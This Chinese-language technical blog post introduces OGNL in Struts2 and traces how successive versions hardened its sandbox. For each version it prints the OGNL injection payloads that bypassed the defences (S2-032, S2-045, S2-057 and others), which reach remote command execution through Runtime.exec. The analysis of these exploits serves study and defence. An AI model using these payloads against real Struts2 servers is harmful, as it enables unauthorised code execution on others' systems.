前言
之前基础篇对struts2的框架做了介绍,本篇章将对struts2的原理做个简介。目前struts2已经被阿里巴巴等大厂弃用了,但是作为曾经风靡一时的框架,并且互联网上还有大量的struts2应用,是很有必要学习一番的。
OGNL表达式
OGNL(Object Graph Navigation Language)即对象图形导航语言,是一个开源的表达式引擎。使用OGNL,你可以通过某种表达式语法,存取Java对象树中的任意属性、调用Java对象树的方法、同时能够自动实现必要的类型转化。如果我们把表达式看做是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。我们可以轻松解决在数据流转过程中所遇到的各种问题。
OGNL三要素
Expression(表达式):
Expression规定OGNL要做什么,其本质是一个带有语法含义的字符串,这个字符串将规定操作的类型和操作的内容。OGNL支持的语法非常强大,从对象属性、方法的访问到简单计算,甚至支持复杂的lambda表达式。
Root(根对象):
OGNL的root对象可以理解为OGNL要操作的对象,表达式规定OGNL要干什么,root则指定对谁进行操作。OGNL的root对象实际上是一个java对象,是所有OGNL操作的实际载体。
Context(上下文):
有了表达式和根对象,已经可以使用OGNL的基本功能了。例如,根据表达式对root对象进行getvalue、setvalue操作。不过事实上在OGNL内部,所有的操作都会在一个特定的数据环境中运行,这个数据环境就是OGNL的上下文。单说就是上下文将规定OGNL的操作在哪里进行。OGNL的上下文环境是一个MAP结构,定义为OgnlContext,root对象也会被添加到上下文环境中,作为一个特殊的变量进行处理。
OGNL进行对象存取操作的API在Ognl.java文件中,分别是getValue、setValue两个方法。getValue通过传入的OGNL表达式,在给定的上下文环境中,从root对象里取值:
setValue通过传入的OGNL表达式,在给定的上下文环境中,往root对象里写值:
OGNL基本操作
支持对象方法调用,形式如:objName.methodName();
支持类静态的方法调用和值访问,表达式的格式为 @[类全名(包括包路)]@[方法名 | 值名],例如:
1 | '11' , 'hahhaha' ) .lang.String ( |
- 支持赋值操作和表达式串联,例如:
1 | number=18, price=100,Total(); |
那么返回1800;
访问OGNL上下文(OGNL context)其实就是Map (教室、老师、学生)和ActionContext,
OgnlContext=根对象(1)+非根对象(N)
老师:根对象 1
学生:非根对象 n
非根对象要通过#key访问,根对象可以省略#key
根对象和非根对象的概括
- 一个上下文中只有一个根对象
- 取跟对象的值,只需要直接通过根对象属性即可
- 非根对象取值必须通过指定的上下文容器中的#key属性去取。
OGNL历史
OgnlContext中的_memberAccess与securityMemberAccess是同一个SecurityMemberAccess类的实例,而且内容相同,也就是说全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项(excludedClasses、excludedPackageNames、excludedPackageNamePatterns)则同样会更改_memberAccess中的值。
以下图例左边都是较为新的版本,右边为老版本。
Struts 2.3.14.1版本前
S2-012、S2-013、S3-014的出现促使了这次更新,可以说在跟新到2.3.14.1版本前,ognl的利用基本属于不设防状态,我们可以看一下这两个版本的diff,不难发现当时还没有出现黑名单这样的说法,而修复的关键在于SecurityMemberAccess:
左边是2.3.14.1的版本,右边是2.3.14的版本,不难看出在这之前可以通过ognl直接更改allowStaticMethodAccess=true,就可以执行后面的静态方法了,所以当时非常通用的一种poc是:
1 | (#_memberAccess[‘allowStaticMethodAccess’]=true).(@java.lang.Runtime@getRuntime().exec(‘calc’)) |
而在2.3.14.1版本后将allowStaticMethodAccess设置成final属性后,就不能显式更改了,这样的poc显然也失效了。
Struts 2.3.20版本前
在2.3.14.1后虽然不能更改allowStaticMethodAccess了,但是还是可以通过_memberAccess使用类的构造函数,并且访问公共函数,所以可以看到当时有一种替代的poc:
1 | (#p=new java.lang.ProcessBuilder(‘xcalc’)).(#p.start()) |
直到2.3.20,这样的poc都可以直接使用。在2.3.20后,Struts2不仅仅引入了黑名单(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),更加重要的是阻止了所有构造函数的使用,所以就不能使用ProcessBuilder这个payload了。
Struts 2.3.29版本前
左为2.3.29版本,右边为2.3.28版本
从黑名单中可以看到禁止使用了ognl.MemberAccess和ognl.DefaultMemberAccess,而这两个对象其实就是2.3.20-2.3.28版本的通用绕过方法,具体的思路就是利用_memberAccess调用静态对象DefaultMemberAccess,然后用DefaultMemberAccess覆盖_memberAccess。那么为什么说这样就可以使用静态方法了呢? 我们先来看一下可以在S2-032、S2-033、S2-037通用的poc:
1 | (#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec(‘xcalc’)) |
我们来看一下ognl.OgnlContext@DEFAULT_MEMBER_ACCESS:
看过上一节的都知道,在程序运行时在setOgnlUtil方法中将黑名单等数据赋给SecurityMemberAccess,而这就是创建_memberAccess的过程,在动态调试中,我们可以看到这两个对象的id甚至都是一样的,而SecurityAccess这个对象的父类本身就是ognl.DefaultMemberAccess,而其建立关系的过程就相当于继承父类并重写父类的过程,所以这里我们利用其父类DefaultMemberAccess覆盖_memberAccess中的内容,就相当于初始化了_memberAccess,这样就可以绕过其之前所设置的黑名单以及限制条件。
Struts 2.3.30+/2.5.2+
到了2.3.30(2.5.2)之后的版本,我们可以使用的_memberAccess和DefaultMemberAccess都进入到黑名单中了,覆盖的方法看似就不行了,而这个时候S2-045的payload提供了一种新的思路:
1 | (#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘xcalc’)) |
可以看到绕过的关键点在于:
- 利用Ognl执行流程利用container获取了OgnlUtil实例
- 清空了OgnlUtil$excludedClasses黑名单,释放了DefaultMemberAccess
- 利用setMemberAccess覆盖
而具体的流程可以参考2.2的内容。
Struts 2.5.16
分析过S2-057后,你会发现ognl注入很容易复现,但是想要调用静态方法造成代码执行变得很难,我们来看一下Struts2又做了哪些改动:
2.5.13版本后禁止访问coontext.map
准确来说是ognl包版本的区别,在2.5.13中利用的是3.1.15版本,在2.5.12版本中使用的是3.1.12版本:
而这个改变是在OgnlContext中:
不只是get方法,put和remove都没有办法访问了,所以说从根本上禁止了对context.map的访问。
2.5.20版本后excludedClasses不可变了,具体的代码在这里
所以在S2-045时可使用的payload已经没有办法再使用了,需要构造新的利用方式。
文章提出了这么一种思路:
- 没有办法使用context.map,可以调用attr,前文说过attr中保存着整个context的变量与方法,可以通过attr中的方法返回给我们一个context.map。
- 没有办法直接调用excludedClasses,也就不能使用clear方法来清空,但是还可以利用setter来把excludedClasses给设置成空
- 清空了黑名单,我们就可以利用DefaultMemberAccess来覆盖_memberAccess,来执行静态方法了。
而这里又会出现一个问题,当我们使用OgnlUtil的setExcludedClasses和setExcludedPackageNames将黑名单置空时并非是对于源(全局的OgnlUtil)进行置空,也就是说_memberAccess是源数据的一个引用,就像前文所说的,在每次createAction时都是通过setOgnlUtil利用全局的源数据创建一个引用,这个引用就是一个MemberAccess对象,也就是_memberAccess。所以这里只会影响这次请求的OgnlUtil而并未重新创建一个新的_memberAccess对象,所以旧的_memberAccess对象仍未改变。
而突破这种限制的方式就是再次发送一个请求,将上一次请求已经置空的OgnlUitl作为源重新创建一个_memberAccess,这样在第二次请求中_memberAccess就是黑名单被置空的情况,这个时候就释放了DefaultMemberAccess,就可以进行正常的覆盖以及执行静态方法。
poc为:
1 | (#context=#attr[‘struts.valueStack’].context).(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses(”)).(#ognlUtil.setExcludedPackageNames(”)) |
2 | |
3 | (#context=#attr[‘struts.valueStack’].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘curl 127.0.0.1:9001’)) |
现阶段的OGNL
Struts2在 2.5.16版本后做了很多修改,截止到写文章的时候,已经更新到2.5.20,接下来我将把这几个版本的区别全部都列出来,并且说明现在绕过Ognl沙箱面临着哪些阻碍。同上一节,左边都为较新的版本,右边为较旧的版本。
2.5.17的改变(限制命名空间)
- 黑名单的变动,禁止访问com.opensymphony.xwork2.ognl.
- 讲道理,2.5.17版本的修补真的是很暴力,直接在黑名单中加上了com.opensymphony.xwork2.ognl.也就是说我们根本没办法访问这个Struts2重写的ognl包了。
- 切断了动态引用的方式,需要利用构造函数生成
- 不谈重写了setExcludedClasses和setExcludedPackageNamePatterns,单单黑名单的改进就极大的限制了利用。
2.5.19的改进
ognl包的升级,从3.1.15升级到3.1.21
黑名单改进
在OgnlUtil中setXWorkConverter、setDevMode、setEnableExpressionCache、setEnableEvalExpression、setExcludedClasses、setExcludedPackageNamePatterns、setExcludedPackageNames、setContainer、setAllowStaticMethodAccess、setDisallowProxyMemberAccess都从public方法变成了protected方法了:
也就是说没有办法显式调用setExcludedClasses、setExcludedPackageNamePatterns、setExcludedPackageNames了。
master分支的改变
- ognl包的升级,从3.1.21升级到3.2.10,直接删除了DefaultMemberAccess.java,同时删除了静态变量DEFAULT_MEMBER_ACCESS,并且_memberAccess变成了final:
- SecurityMemberAccess不再继承DefaultMemberAccess而直接转为MemberAccess接口的实现:
可以看到Struts2.5.*基本上是对Ognl的执行做出了重大的改变,DefaultAccess彻底退出了历史舞台意味着利用父类覆盖_memberAccess的利用方式已经无法使用,而黑名单对于com.opensymphony.xwork2.ognl的限制导致我们基本上没有办法利用Ognl本身的API来更改黑名单,同时_memberAccess变为final属性也使得S2-057的这种利用_memberAccess暂时性的特征而进行“重放攻击”的方式测地化为泡影。
参考:
https://blog.csdn.net/pngyul/article/details/82723719
https://www.anquanke.com/post/id/169735#h3-4
https://www.cnblogs.com/huangting/p/11105051.html